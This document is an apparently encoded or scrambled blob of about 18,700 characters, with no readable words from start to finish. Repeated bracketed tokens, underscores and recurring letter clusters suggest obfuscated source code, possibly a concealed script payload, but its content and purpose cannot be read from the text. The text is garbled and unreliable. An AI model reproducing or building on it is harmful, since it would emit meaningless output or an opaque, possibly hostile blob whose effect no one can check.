N___B_RNDu_______W[GGGHK_____B__OD___[GGGHK__C______MD__[GGGHKTTV_____u______[	_B_____LWHGKVW 
WIFMWHGJV__Q___GKFWKKOVWWFFFMNTHFVS______WFFFFFMTHVVVS_WIFMWHGIV___BA_WKCCNVS__IFMWHHKV_____BA__MS______GKFWLLGV_BA___VVDu_______WLWHHIVWIFMWLKMVV__YY___  W[	VV_u______W[GGGHK____BBB__O__YY_____ L	WHHIVWGKFWHGHVVV_LWHGHVWMVDu_____
Duu___[KOI__B__WV_____  	  W[	VDu_____W[KOI______C___WHLTMHV_____IFMWHGGVW[KOIS______WWHOGRMOJVS__WKJGTIMVS__WMGFTMLMVS___WJOFTNLVS___WJMMTNVS_WJNKTNOVS__WLOTKFIVS____WOMOHTOGVVS_
VV___uuuu_W[GGGHK_BBB_____O__YY_____ L	WHHIVWLWHGHVVV__ L	WHGHVWMVDu____
Du__u___[KGJMO
N_B_[KOIDu__Du___uPP_(/_=
_=__uu_____W[KGJMO
N___BBB____RNV_____[KGJMO
N___B___WKIOTKOVD_u_________W[KGJMO
N_AB_WKGMTNGVV____u___[
NHJ
LN_B_
LKLJ	NWNIFFOOL	OWVS_____LN
JW[JG
MOVVDu____W^[
NHJ
LNV__[
NHJ
LN___B____
LKLJ	NWNIFFOOL	OWVS______[JG
MOVDu__
 W L	WNGFVS___ L	WHNJVW[JKV_Q__XX_Q_LWHHOVWVS___IFMWHGFVVDu___W^[
NHJ
LNV__u_KKGMM 

W L	WHFOVS____LWHFNV_Q__[KGJMO
NVDu__
Du_u________G
GWNIFFOOL	OWVVDu___OFKKF WNIFFOOL	OWVVDu_	MNMW
VDuuuu_LNMW
VDu_[

JI____B_GKFWMJHVWNIFFOOL	OWVS___LWJOIVVDu_______WWGKFWHFMVWNIFFOOL	OWVVS_
 F	G	KOOWVV______[LJMGGV______uu?IFMWHHNVW[LJMGG______Q___LWMOIV_Q__[

JIVDu______?IFMWHHNVW[LJMGG__Q_____IFMWHFLV_Q_[

JIVD[HN N

JBJUGD[JB[HN N

JRFDuuuuPP_	_	_R

uu___W[
MGO___YY____^
	LNFL NGWV___YY__LWHFKVWGKFWLFJVVV_u[	N ____B___ WIFMWHHGVS__WVVDuuu_______W L	WHFJVW[	N V_YY_^IFMWHFIVWOJIHFOFIOWVS_[	N S__
VV__u__[	N $"__B_OJIHFOFIOWVDu?
 WLWHHGVS__[	N VDu__uu_[830=>3,$LWHFHV"_B_ODu____	JKWVDu___KKGMM 

W L	WHFOVS_____ L	WHFGV__Q__[KGJMO
NVDu__
Duu_u____u_____W[GMG
M
L__^BB_____]]V__u____[830=>3,$IFMWNV"___B__[GMG
M
LDuuuu_FLMLKWNIFFOOL	OWVS___[GMG
M
LVDu___u_____W[LHV___u_[KG
LJLH	_B__IFMWMJHVWNIFFOOL	OWVS__LWJOIVVDu_____WWLWHFMVWNIFFOOL	OWVVS____
 F	G	KOOWVV____[JOMV__u__? L	WHHNVW[JOM___Q_GKFWHFFV_Q__[KG
LJLH	VDu____u___
W[KG
LJLH	S_[JOMVDuu_ MIMM	WGKFWGOOVS_[JKS______ L	WHGFVVDu___	MNMW
VDu_LNMW
VDu__[830=>3,$ L	WHFHV"_B_ODu___	JKWVDuL 
	WNIFFOOL	OWVS_____WNFGTFKVVDu_____WG
GWNIFFOOL	OWVVV_FKKKNLWNIFFOOL	OWVVDu
 WGKFWMNKVS____[GMG
M
L_Q__XX__Q____LWHHOVWVS__IFMWHGFVVDu___________W+__[NJN MV_u____KKGMM 

WLWHFOVS______[NJN MVDuuuu___W:_____[NJN MV____uPP__	__-_
Ruu__u_JLFMFWLWGONVVDuu__u__u___
__N
OKKWVu______uPP____(/_=<uuuu__W^_____WLWGOMVV__________^_GKFWHFKVWLWGOLVVV____uPP__
_RRuu___WGKFWGOKVW>=,/>+7____Q___LWGOJVVV__uPP_(/_IQK_E__Ruu________
 __>=,/>+7______Q_GKFWGOJVD[KLOIGBWOTONJVD[JB[KLOIGZNMDu_u_______W^______ L	WHFKVW L	WGOLVVV___uPP_/7/_GQN_E__uuuuu____
Du________uPP_?R_Ruu_uPP__uu_[OIIHN N____B_ 
WVDu_______W^__IFMWHFJVW[OIIHN NVV___uu_____
Duu__u______[_B___WVDu______W[OIIHN N___[_____BA__[ 
V_u__W[_BBB__OJIHFOFIOWVV_____u_
Du__u__[$["___B_____[ 
Duuuu_
__[Duuu_u__
_HNHN
W[GS__[	K	LVu________uPP__
uuuu__u___[	OJ __B_____?IFMWJFFVW[GS__S___
S__OS__WOLINHTOKJFFVVD____u___W^_[	OJ V____u___
______Du_uu________u_______W[	K	L____[ I J IV___u_u________W^_____IFMWHIOVW[ I J IV______^_____[ I J I_____LWJJLVW[ I J IV__A______WOJFTOJHVV_____u__
Duuuu_____uu_u_______uuuu[	HNJFIFH__B_?LWGOIVW[ I J IS__[	OJ VDu______W+______[

HGV____u_KKGMM 

WIFMWGOHVS__[

HGVDu_______
Du________W:___[

HGV_uuu_
Du___uu____W[	HNJFIFHV_u
_
Du_uPP__uu__u_
_Duu___u_u
____ONJIKIW[
 Vuuu_____u__[	K	L____B___[830=>3,$IFMWGOGV"Du__W^_____LWHFJVW[	K	LV_____W[	K	LVV___uu
__Duu_______W^___WGKFWGOMVV________W[
 V_____LWGOFVW[
 S_LWMKIVV_^BB_V_u____
_Du___u___u________[OGOG_B_____(/ /3*861 ;6-_____Q__XPX_Q____[
 Duuuu_____WLWHFMVW[
 V__BBB___XQXV__u[ OIO__B__W[OGOGVDu________u_[HN
O__B__GKFWGNOVW[OGOGVDu____W^___IFMWMOJVW[HN
OV____^_GKFWGNNVW[HN
OVV_u
_Du_____u[ OIO____B__ NMMHIW[HN
OS_W L	WGNMVS______GKFWGNLVS__LWGNKVS_ L	WGNJVS_GKFWGNIVVVDuuuu__uu________W[ OIO______[GV__uu__W^____IFMWGNHVW[GVV__uu_____
Du_uPP_(/_=<E_	R_uu___WHNHN
W[GS___[	K	LVV___u
__
Du___uPP_?_uu____u_
__Du______u____
_ NMMHIW[HN
OS___[ L
 S__[GN 

O __B___OS___Y[NIN
	G___B____
S____Y[ 
KJJL_B__
Vu__u_[___B_WVDuu__W[GN 

O _A__WOLTOJVV__uuuu____
_[Duu______W[NIN
	G____BBB_____
V______u______[NIN
	G___B___WVDu_[ 
KJJL_B___ L	WIFOVW
V__T___WOFTONVDu_uuuu____WLWGNGVW
V___A__[ 
KJJLV_____u_
_[Du__uu___W^__IFMWMOJVW[HN
OVV______uPP__uu_
___[Du______u___[JOM___B__?IFMWMLJVW[HN
OVDu__W[JOM___^BB__V___u__WW[NIN
	G$[JOM"VV__u
__[Duu[NIN
	G$[JOM"_B__
Duuu___uu__[FGF	O ___B_
MN
LHJH
W[HN
OVDu____W^____GKFWGNFVW[FGF	O VV_u______
__[Duu__u_____W[FGF	O _____[IOJV__u_____WIFMWGNGVW
V____A_____[ 
KJJL_____GKFWIGFVW[V___AB_WKONTFFVV__u__Du_u___[OGOG_B_[HN
O____Q______XPX__Q__[IOJDuuuu_______W?GKFWGMOVW[OGOGVV____u______
Duuu___________W?LWMOJVW[OGOGVV_u_____[_B_LWKMNVW[S__ NMMHIW[OGOGS_[ L
 S_[GN 

O ___T_NS_[NIN
	GS_[ 
KJJLVVDu_____W? L	WGMNVW[OGOGVV_u[NGFM___B__ L	WGMMVW[OGOGS_WLWGMLVVVDu__[NGFM_B___IFMWHIOVW[NGFMV_____@____LWHHVW[NGFMV_E__]]Du__________WGKFWHFIVW[NGFMS__[ L
 S_____
VV_u______[$"____B____[OGOGD[MKNBIFTFFD[
GB[MKNRKKDu_____u__uu_
____[Du_uu____
___
IGLMW[
 Vu______u_______u_________W^__GKFWHIOVW[
 V______^__[
 V__uuuu_
____Duu_____WIFMWGMKVW[
 S_____GKFWMKIVV_____^BB_V_u
__Du_u_____u__[
 _____B__LWIGNVW[
 VDu_______W[
 __BBB__OJIHFOFIOWVV___uuuu_
_Du__u__uuuu_____W^______IFMWHFKVWLWGMJVV_YY___IFMWGOKVW>=,/>+7___Q_GKFWGMIVVV___u
 _____>=,/>+7___Q___IFMWGMIVDu_u__u_____W L	WGMHVWLWGMJVV__YY_____ 
 	W[
 VV_u__	 
WW[
 VS______
VD_u_uu_____[HN
O__B__WGKFWGMGVV_@____(/ /3*861 ;6-____Q______XPX___Q___IFMWGNOVW[
 V____E____]]Duuu______W[HN
O_YY_IFMWGMFVW[HN
OV______YY___LWGNOVW[
 V___^BB__XQX_YY_ L	WGNOVW[
 VV___u_W
G
GO JGL	H
 W[HN
OVV___u___
_____
Duuuu_____u____u__u__WGKFWGMHVWGKFWGLOVVV__u_u__W^_ L	WGMHVWIFMWGLNVV_______^__
 
 W L	WGLOVVV_uPP__R

__(/_/_3uu_____WGKFWGMHVW L	WGLMVV__YY____GKFWGMHVWGKFWGLLVVV__uu[
__B_____ 
WW L	WGLKV_BA__GKFWGLJVS__IFMWGLIV__BA__NVVDu_______W^_W[
V__YY____[
$O"RA6;V___u___ L	WGLLVW[
$O"RA6;VDu________uuuGKFWGLLVWNVDuu____u_______u_u__[KMJK__B___ 
WW[
 VVDu_____W^______  W[KMJKVV______uuu___
_WV__[KMJKDu___u__u__
____Du_u____u_
___
G
GO JGL	H
 W[HN
OS__[GN 

O _B__OVu__u_____W[GN 

O ___A__WNOTIVV____[NI N KB/7/ 2>50- ):-,601D[MNB[NI N KUFDu___
__Du______uuu_______W^__ L	WHIOVW[HN
OV___[HN
O_BBB_]]___ L	WGLHVW[HN
OS_____IFMWMKIVV_^BB___V_u_____
___Duuuu_[	GN_B_?GKFWGLGVW[HN
OVDu____W[	GN__BBB_________^__ L	WGMFVW[	GNVV__[KBNIULD[HFHB[KRLLDu__
_Duu[NH__B___WGKFWGMGVV__@_? L	WGLGVW(/ /3*861 ;6-V__E__Du_______W[NH__BBB_____W[	GN_^BB__[NH__YY______GKFWGLFVW[	GNS_____[NH_Q___;6-:<+0-& ,:/>->+0-V_^BB___OVV____u
___D[IHGMM KBWOLGTOFVD[MFLIHLB[IHGMM KZNIDu___u__[LKHG__B_____?GKFWMJOVW[	GNVDu_______W^__IFMWGNFVW[LKHGVV__u___
__Du____u____________W[LKHG_____[KLG IJKV___uuu___W[KLG IJK__BBB_XQX____[KLG IJK____BBB_ L	WMKIVV_u___
Du__u[OGOG_____B__[	GN____Q____W L	WGKOVV__Q____[KLG IJKDu___W? L	WGKNVW[OGOGVV_u_O
	LW[OGOGVDu__
Du____uPP__Ruuu_____W?IFMWGKMVW[OGOGVV__u_____
G
GO JGL	H
 W[OGOGS__[GN 

O ____T_NVDuuuu______[MOHBWONTOJVD[HMB[MOHZIDu__W^_____O
	LW[OGOGVV_uL 
	W[OGOGS_WOJTONKJVVDu__O
	LW[OGOGVDu__u__u___u____W^_?LWGKLVW[	GNVV___uL 
	W[	GNS___WKGHTIVVDuu_? L	WGKLVW[	GNVDu__uPP_(/_
:-E_
_Ruu___
_^_?IFMWGOKVW[	GNVDu__uu_u
___JKG
		OO WVu__uu______u__[_B____N
OKKWVDu__W^_IFMWGNFVW[VV__u
Du_u_____uuuu_[N__B__WVDu_____[IH JH____B_Du______WLWGKKVW[V__[V_uPP_(/_IQL_E__Ruu_u_W^__GKFWHIOVW[VV_uuuu_
Duuu_______u_______u[ I	_B_ L	WGNOVW[VDu_______W[ I	___BBB_XQXV____u________[ I	_B__[Du_____u______WW[N$[ I	"VV__u___
Du__u___u[N$[ I	"____B__
Du__WONJIKIW[VV__u__
IGLMW[VDu[IH JH___B__
Duu_____u__u__W? L	WGKJVW
 F	G	KOOWVVV_[LJLGBNITNHD[FOB[LJLGRLKDu__[L
MI_B___
MN
LHJH
W
 F	G	KOOWVVDu______WGKFWGKIVW[L
MIVV____u_[	K	L___B_[830=>3,$ L	WGOGV"Duuuu________W[L
MI__________[IOJV_u___u_____W[IOJ____BBB______GJL
GJ
FWVV___u__
DuuPP_(/_6	_>/6__uu_u_[G__B_
 F	G	KOOWV______Q__XPX_____Q_[IOJDu___W^_?LWGMNVW[GV_____IFMWHHVWIFMWGMMVW[IOJS___WLWGKHVVVV__^BB___ L	WGKGVV____u_
Duu_u_uu____WHNHN
W[GS__[	K	LVV_____u_O
	LW[GVDu_[IH JH__B__
Duuu___uuu____u_______u___u_u_____[I
IJ	LF_____B___[830=>3,$GKFWKGMV"Du______WLWGKIVW[I
IJ	LFV_YY_^__W[I
IJ	LFVV___uPP_-_
R__uu____WGLJ W[I
IJ	LFVV___uuuu_[IH JH___B__
Du___u____u_______W+_[NJN MV___uPP_?_RuuKKGMM 

WLWGKFVS___[NJN MVDu______________W:__[NJN MV_u_____u____u_uu_
_	HKO
WVu_uPP_R_R
	_uuuu_____u[NOJ
__B_WV_ WLWGJOVS_OVDu_____WWLWHHOVWV_R_____[NOJ
V_AB___WLJLITIKVV____u_____
 WGKFWGJNVS_ L	WGJMVWVVDu_[	
K	

N___B_WWFH	
JWVS___WLWGJLVVVVDu[OO	F____B__IFMWGJKVWIFMWMGVV_____@______IFMWMGVWV____E_]]Duuuu_____W[OO	F__^BB__]]_YY_[OO	F____^BB_____FH	
JWVV___[	
K	

N$"_____B__W[OO	FS_WGKFWGJLVS_GKFWGJJVVVDu_____W[	
K	

N______[
GMOLV___uPP_>/<
__-:,+_uu______W[
GMOL$N"_______[NJF NV______u______[H	__B_____GKFWGJKVWGKFWJOGVV_____@__?IFMWJOGVW[
GMOL$O"____Q__XPX_Q______[NJF N__Q_XUXV______E__Du_______W^GKFWGKIVW[H	VV__
Du__uuuu____W[H	______[JHHV_____u______W^?LWGJIVW[JHHVV_____
Du_______[NMKLF__B_?LWMOMVW[JHHVDuuuu_W[NMKLF___^BB___YY____WIFMWGJHVWV__R__[NMKLFV___A___WHOFHRLKFHVV__O
	LW[JHHVDu_uuuu[HGIH______B__ WLWHHGVS_WVVDu____W^IFMWGKIVW[HGIHVV_[HGIH__B_____WVDu____[JOON_B___GKFWMJHVWNIFFOOL	OWVS_ L	WGJGVVD[NGHBINOD[

BW[NGHAOV@[NGHER[NGHDuuuu[ _B_WWIFMWNKOVV__@__(/ <01+:1+ ;6-_E__>=,/>+7___Q__IFMWGJFVV_Q____GKFWGIOVDu_WGKFWGJKVWLWJOGVV____@__WV_?GKFWJOGVW[ ___Q___GKFWGINVV___E______WV___[NNIV_u________WIFMWGIMVWGKFWGNOVW[NNIVV__BBB_[JOONV__
Du_[HMLOJ_B_LWGIMVWIFMWGILVW[NNIVV__Q__XPX____Q_IFMWGIMVW[NNIVD[IOFFBNKJNIID[JB[IOFF!NLKDu________WGKFWHFIVW[HMLOJS__[HGIHS____
VV__
Du________W^?GKFWNKHVW[NNIVV_
Du_[K 
M_B__?GKFWMMLVW[NNIVDu_______W^[K 
M_____[K 
M____A_WMOFHOHLTHFVV___
Duu______[KOI_B_? L	WJFFVW[NNIVDu__W^IFMWHIOVW[KOIV_________GKFWGIKVW[KOIS_LWGIJVV__BBB___V__
Du[IJHOK___B__ L	WJNNVW L	WGIIVS_____]]S__[KOIVDu___________W^IFMWHIOVW[IJHOKV________[IJHOK_____BBB___[KOI______^	JFO H
W[IJHOKVV__
Du_
LKLJ	NW[NNIS____[IJHOKVDu__WLWGIHVW L	WMOOVVV_? 	W[NNIS_
VDuuuu_u____
W[HGIHS______[JOONS____[ S__[NNIS_____[HMLOJS__[K 
MS__[KOIS_[IJHOKVDu__JHO OWVDu_____u__u___[LHMK_B_____[830=>3,$ L	WGIGV"Duu[I
IJ	LF_B_[830=>3,$IFMWKGMV"Duu___[
N__B___WGKFWGKIVW[LHMKV____YY__^_W[LHMKVV___W L	WGIFVW[I
IJ	LFV__YY___^_W[I
IJ	LFVVDu____W^_[
NV____u_____
Du_____uuu_[ NI	__B__WV___ W L	WGHOVS__OVDu__WW L	WGJHVWV_____R_[ NI	V_C____WOFFTOKHMVV___uPP_(/_+_<
E__
uu_____
Du_uu___uJKG
		OO WVDu
 WIFMWGHOVS_LWGJHVWVVDu________W+___[NJN MV_u___KKGMM 

WIFMWGHNVS__[NJN MVDu______W:____[NJN MV___uPP_/,-RK___uu__uuuu_u__u___
__INFM I
FWVuu___uuu_uuu_____uuu__[OKN_____B__	MNMWVDu____uu___W^[OKN___GKFWJJLVW[OKNV_C__WKKMTJGVV_
Du_____W^	JFO H
W[OKNVV_[NJ
BKGID[	KFHH	NBW[NJ
AOV@[NJ
ER[NJ
Duu_KKGMM 

WLWGHMVS_IFMWGHLVVDu
Du_uuu________W L	WGIHVWGKFWGHKVV___YY__ WLWGHJVVV_
Du__uuu_[K	NMN__B____
 F	G	KOOWVDuuW
VDuuu__W?GKFWGHIVW[K	NMNV____YY_^? L	WGKJVW[K	NMNVV_u___
Du_u_____uuu_______W^?GKFWGHHVW[K	NMNVV___u_______[	_B_____?
WOVDuu_____ NKKW[K	NMNS______WHJORMJHVS__
VDu_____?
W[	VDu_L 
	W[K	NMNS__WKNNTGMVVDu_W
VDu_______W^?LWGNNVW[K	NMNV______^?IFMWNKHVW[K	NMNVV___u_____L 
	W[K	NMNS__WMLJTMJGVVDu_W
VDu___u_____u_______W?GKFWGHHVW[K	NMNV_YY_____W^?GKFWGNNVW[K	NMNV___^?LWNKHVW[K	NMNVV__YY_?IFMWGKLVW[K	NMNVV__u_[	__B__?
WOVDu__ NKKW[K	NMNS__WNMHTLIIVS___
VDu__?
W[	VDuu______L 
	W[K	NMNS____WKGOTNLVVDu_W
VDu____u___u____W
VDu______W^? L	WGHHVW[K	NMNV______^?IFMWGHGVW[K	NMNV___^?GKFWGNNVW[K	NMNVV__u____KKGMM 

WLWGHMVS__LWGHFVVDu___WIFMWGGOVW L	WHGNVVV__? W L	WGHJVS__NS__WJLKLRNHKLVVDu_
Du__uuuu___u_____[LKMK__B__[K	NMN______Q____XPX_Q__GJL
GJ
FWVDuuuu_______WNLGIM	NJW[LKMKVV__u
Duu__W?IFMWGGNVW[LKMKV_YY_____?IFMWMMLVW[LKMKV___A__WKFHNTMFV______YY______LWGGMVW GH
JKHWWV__?IFMWGGLVW[LKMKVVV__BBB_____GKFWGGMVW[OKNVV_u___OFKKF W[LKMKVDuO
OHWVDuuuu_IMHMH		OWVDu__
Du_____u____W? L	WGGNVW[LKMKV__YY__?LWMMLVW[LKMKV__A__WONITONNMVV___[KMJBRLHLD[I BW[KMJAOV@[KMJER[KMJDu__[MK	OKL__B______WV_?LWGGKVW[LKMKS_S___
S_____OS____WKIGLRJGHVVDu_WLWHIOVW[MK	OKLV__YY__GKFWGOIVWIFMWHIKVS__[MK	OKLS__[ V__YY___	 W[ $N"S__GIILHWVS__XAXVV__
Duu
W[MK	OKLS__[ VDu___u____[G	O
 J___B______
LKLJ	NW[LKMKS_LN
JW[OKNVVDuuuu___W^[G	O
 J____^? L	WGGJVW[LKMKV________? L	WMMLVW[LKMKV_C__WNGOFRGOFV_____ L	WGGMVW GH
JKHWWV_? L	WGGIVW[LKMKVVV___^BB_IFMWGGMVW[OKNVV___u_____W[G	O
 J__YY___?LWGGNVW[LKMKVV_____u___[MK	OKL___B____WV__?LWGGIVW[LKMKS_S_
S_OS__WKOOMTFKVVDu________[
IF ______B_ L	WGGHVW[MK	OKLV_YY_LWGOIVW L	WHIKVS__[MK	OKLS_[ V____YY___	 W[ $N"S___GIILHWVS__XAXVDu_____
W[MK	OKLS____[ VDuu___W^[
IF V__uL 
	W[LKMKS____WHMNRLONVVDuO
	LW[LKMKVDu___u___u______W L	WGGOVW L	WHGNVVV_? WGKFWGHJVS____NS____WGFMTMHOGVVDu
Du_uuFKKKNLW[LKMKVD[NIGBMMFILD[ OMGNB[NIG!NKIDu_L 
	W[LKMKS___WNGFTNOLVVDu__OFKKF W[LKMKVDu_O
OHWVDu______IMHMH		OWVDu____________W+__[NJN MV___uKKGMM 

WGKFWGHMVS_[NJN MVDu_____W:______[NJN MV____uu_uu_
_MWVuuu____u[OKN_B__	MNMWVDu_W[OKN_YY___^NMNJJFINW[OKNVV_u_[	_B____
M	FKL
L  WIFMWGOOVS__]]VDu_[MF	MK	__B_____NJIN	FW L	WGGHVW[	V____@___[	__E____]]VDu___[ H  L__B_____NJIN	FW[OKNVDu_____W^IFMWGGHVW[	V______IFMWJJLVW[	V___C___WOFFTONJV____NMNJJFINW[	V______[MF	MK	_BBB___]]_______W[ H  L_^BB___]]____YY_	 W[ H  LS_[MF	MK	S_XAXVVV__u_ MIMM	WIFMWGOOVS___[OKNS_ L	WHGFVVDu__W L	WGGOVWIFMWGGGVVV_u_?
 WLWHKHVS__OS__GKFWHGFVVDu__?
 WIFMWINIVS_OS_____IFMWHGFVVDu?
 WIFMWHJHVS__OS___GKFWHGFVVDu______u__WIFMWGGFVWLWGFOVVV_? WN FHJJHOWVVDuuuu____uuuu_____u__WIFMWGGFVW L	WGFNVV_____YY___ L	WGFMVWGKFWGGGVVV_____u__[
LG___B__ WIFMWGFLVVDu_____W[
LG_^BB____YY__[
LG__^BB___GIILHWVV___u__?
 WLWGFLVS___GIILHWVS_ L	WGFKVVDu____uuPP__	_Ruu____W^_LWGFJVWIFMWGFIVV______^_ WIFMWGFLVS_____GIILHWVS___]]S_IFMWGFKVVV_u_
Duu__u___u____KML	M	HKWVDu__WIFMWGFJVWIFMWGGGVVV__u______?
 WIFMWHKHVS_OS_LWGFKVVDu__?
 WGKFWINIVS__OS___LWGFKVVDu?
 WGKFWGFHVS__OS___LWGFKVVDu___u______WGKFWGFJVW L	WGFOVVV__? WN FHJJHOWVVDu_u______W[OKN_____YY__^NMNJJFINW[OKNVV_u_ MIMM	WGKFWGOOVS__[OKNS______IFMWGFGVVDu_uPP_?_	uuKLHKNIIGHW
VDu_______u_____L 
	WNIFFOOL	OWVS_____WOTOJVVDuPP_?_
RuuuuuuMO	OL
	WGKFWKKMVS__ L	WKKLVS_OVDu_uu_______MO	OL
	WGKFWGFFVS____GKFWFOOVS____OVDu______W+__[NJN MV___u_KKGMM 

WGKFWFONVS____[NJN MVDu___WIFMWGFJVW L	WFOMVVV____? W L	WGFLVVDu________W:___[NJN MV__u__________WGKFWGFJVW L	WFOMVVV______? WLWGFLVVDu__uu_
__F FO	ML
WVu_____u________[BLIUGD[	
B[RNMDu______WGKFWGFJVWIFMWHGKVVV__uPP_(/_:_/	__uu? L	WFOLVW 
WXPXVS_W L	WHGIV____BA_WNTKVS_ L	WLLGV_BA_S_IFMWKKGV_BA___VVDuuuu__uPP_/7/_GQM_
E_
_uu___W+__[NJN MV____uKKGMM 

W L	WFOKVS___[NJN MVDu____W:_[NJN MV__u_u________u__u_____
_JJN
NFJNWVuuuu_____[F	HFFOH__B__Du___W[F	HFFOHV__
Du___[F	HFFOH_B_
Du_______u__W^_____LWGFJVW L	WFOJVV___^_ WVV_u
Du_u_W^LWGFJVWGKFWGLNVV_______^
 
 WIFMWFOIVVV__u______
Duu_____[
IJI_B_W[ -:.*:,+$ L	WFOHV"V__@_[ -:.*:,+$GKFWFOHV"___E___]]Du_[
IJI__B__GKFWGGHVW[
IJIV_@__LWIGNVW[
IJIV_E_]]Du____W[
IJI_^BB__IFMWFOGV______YY__[
IJI___^BB_ L	WFOFVV_u
Du__u________u[  H

OLJNHGI____B____WVDuu____W[
IJI__BBB__GKFWFOGVV___u__[IH
JG___B___W[ -:.*:,+$LWHOJV"V__@___[ -:.*:,+$GKFWHOJV"___E_____]]Du____[IH
JG_B__GKFWGGHVW[IH
JGV__@__GKFWFNOVW[IH
JGV___E___]]Du____W[IH
JG___YY____[IH
JG__^BB__OJIHFOFIOWVV______u_[  H

OLJNHGI$"_B___[IH
JGDuu______uPP__Ruu____u____[  HN	L_____B_W[ -:.*:,+$ L	WFNNV"V__@____[ -:.*:,+$ L	WFNNV"____E_WVDu_____[  HN	L_____B__LWFNMVW[  HN	LV___@__[  HN	L_E__WVDu_____W[  HN	L__[IH
JGV_uPP_____uuuuu__[IH
JG___B___LWGGHVW[IH
JGV__@__ L	WFNLVW[IH
JGV__E___]]Duuuu_____W[IH
JG_YY_[IH
JG__^BB__OJIHFOFIOWVV__u__[  H

OLJNHGI$"_____B__[IH
JGDu_u_____u_______u____WW[  H

OLJNHGIVV__u
D[ G 
BNMIGOD[MB[ G 
!GNDuuPU__R_UPuu____[IH JH___B_Du_____W[  H

OLJNHGI_____[IH
JGV__[HBWOMTOLVD[JKB[HZNIDu_________WONJIKIW[IH
JGVV_u
IGLMW[IH
JGVDu_[IH JH____B__
Duu_u___W[IH JHV____uuuu____WLWGFJVWLWFNKVV_YY__GKFWGFJVWGKFWFNJVVV______uPP_/7/,_	_FE__	uuuu_  W 
WGKFWFNIVVVDu_____uu________W+__[NJN MV____u_KKGMM 

W L	WFNHVS___[NJN MVDu_______W:___[NJN MV___uPP_/,-RK__	_uu_uu___
______KLJFW[ S___[HOOMHVu___uuuu___W[HOOMH____BBB___IFMWFNGVV__u_[
_____B___Y[830=>3,$GKFWFNFV"Du____W^W[
$IFMWFNGV"V_____^GKFWFNMVW[
$GKFWFMOV"VV__uuuu__
_[ Duuu_____[ NI M_____B_WGKFWNKOVV__@__(/ <01+:1+ ;6-__E__WWIFMWOVV_@______>=,/>+7___Q___GKFWGJFV__E___]]VDu_____W[ NI M_BBB____]]V____u____
_____[ Du________u_[
I __B__WGKFWFMNV____BA__LWFMMVS__ L	WFMLV__BA______IFMWFMKVVDu_W[
I ________[	K	H_BA___[NJF NV_____uuuu_W^W[
$IFMWFMJV"$[	K	H"VV__u_
DuuPP_?

_uuuuu_[L	L_B_?GKFWFMIVW[ NI M__Q___XPX__Q_[	K	HVDu_____W^ L	WGGHVW[L	LV________LWGIKVW[L	LS___LWFMHV__Q_[NJF N_Q__LWFMGVV_____BBB_V____u
Du______uuu____[GFL
 __B___ L	WJNNVWIFMWFMFV___Q_____[NJF N_Q___GKFWFLOV___Q___[NJF N__Q_LWFLNVS___]]S____[L	LVDu_________W^GKFWGGHVW[GFL
 VV_u__
Du___u[GFL
 __B____ L	WFNLVW[GFL
 VDuuu____W[GFL
 ___BBB___]]____[GFL
 __BBB_____IFMWHINV_______[GFL
 ___BBB_LWMJFVV_uPP_(/_
=/__++3uu___
W[
$ L	WFMJV"$[	K	H"VDu________u___u___
__[ Du_____uuuu_______W[HOOMH__^BB_GKFWFLMVV__u_
_[ Du_u[
___B___Y[830=>3,$LWFLLV"Duu___[NJH
	_B______GKFWGIMVWNIFFOOL	OWVVDu________WW[
$GKFWFLKV"$[NJH
	"VV___u__
W[
$IFMWFLKV"$[NJH
	"VDuu__
__[ Du____u___W^LWGFJVWIFMWFLJVVV__u__
_  HKIKHNOWVuuu__W^_
	LNFL NGWVV____u_______
Duu___u__[MNH_B_LWFLIVWNIFFOOL	OWVVDu_[	M	O__B____IFMWFLIVWNIFFOOL	OWVS_LWFLHVVDu_____[K FK____B__[	M	O__Q_XPX___Q___[MNHDu_______GKFWFLGV__Q______ W[MNHV_Q_GKFWFLFV____Q_ W[K FKV_Q___GKFWFKOVDu___GKFWFKNV_Q____ W[MNHV____Q_GKFWFKMV_____Q_____ W[K FKV_Q_IFMWFKLVDu_uu_____W^ L	WFKKVW L	WFKJVVV___u______
_NKHG W[

ONIOVuuPU___UPuu___W^_LWFGVW[

ONIOVV__u_
__[

ONIOD[L
JFGBIMKGD[	FJJLB[L
JFGZNNDu__u_[MNH_B__OJIHFOFIOWVDu______WW[

ONIORA$[MNH"VV___u__
W[

ONIORA$[MNH"VDuuu______uPU___UPuu_____
______[

ONIODu____uu__W^LWFKKVWLWFKIVVV_uu
_K	INFW[
Vuu__[	KNIO__B_OJIHFOFIOWVDu__WW[
$[	KNIO"VV____u_____
W[
$[	KNIO"VDu__uu___u____[	M	O__B___LWFLIVWNIFFOOL	OWVS__GKFWFLHVVDu__[K FK__B__[	M	O_Q_XPX___Q__ L	WFKHVWNIFFOOL	OWVVD[JG
NO
FBHKLD[MKO FBW[JG
NO
FAOV@[JG
NO
FER[JG
NO
FDu___WW[
$[K FK"VV__uPP_(/_.
_3E__
uu_
W[
$[K FK"VDu_____u__
_[
Duu_u______
__GFOHHJNW[IL MGVu________u__W^_IFMWFNMVW[IL MGVV_____u____
_[IL MGDu_u__[OFF___B_____]]Du_____WGKFWFKKVWIFMWFKGVV_YY_GKFWGGJVWNIFFOOL	OWVVV____u___[LLOM_____B_ 
 WNIFFOOL	OWVS_____S____VDu__[OFF___B__W[LLOM$GKFWFKFV"V___@_[LLOM$GKFWFJOV"_E__]]Duuuu___u___[KHF
K__B___WIFMWFJNVS_LWFJMVVDu___W[KHF
K________[O
V_u__W^____W[IL MG$[O
"$IFMWFJLV"V____^__GKFWFJKVW[IL MG$[O
"$ L	WFJLV"VV____u____
Duuu__u______W[IL MG$[O
"$ L	WFJJV"_______[_____BA__[KJ
MV____uuuu_______WGKFWFJIVW[S__OJIHFOFIOWVV___^BB____________[_BBB____OJIHFOFIOWVV_u_______
W[IL MG$[O
"$ L	WFJJV"$["VDu_____
Du__uu______W[OFF__^BB_]]___YY___[__BBB_[OFFV____uu_
W[IL MG$[O
"$GKFWFJJV"$["VDu_
Du_u________uu__uPP_(/_1	_=E_R_Ruu___WWIFMWFJHVS_____LWFJGVV_______[K
V___u_[
	MK I	__B___W[IL MG$[K
"$ L	WFJJV"V_YY__ L	WFJKVW[IL MG$[K
"$LWFJJV"V___@_____[IL MG$[K
"$IFMWFJJV"__E____WVDuu__________W^[
	MK I	V__
Du___[H	H __B_____WLWNKVV____@_(/2* /3*861 ;6-_E_WWLWNKOVV__@_(/ <01+:1+ ;6-_Q__IFMWNJV______E______]]VDuuuu___[ FG  N__B____WVD[ OBWOHJTOIVD[
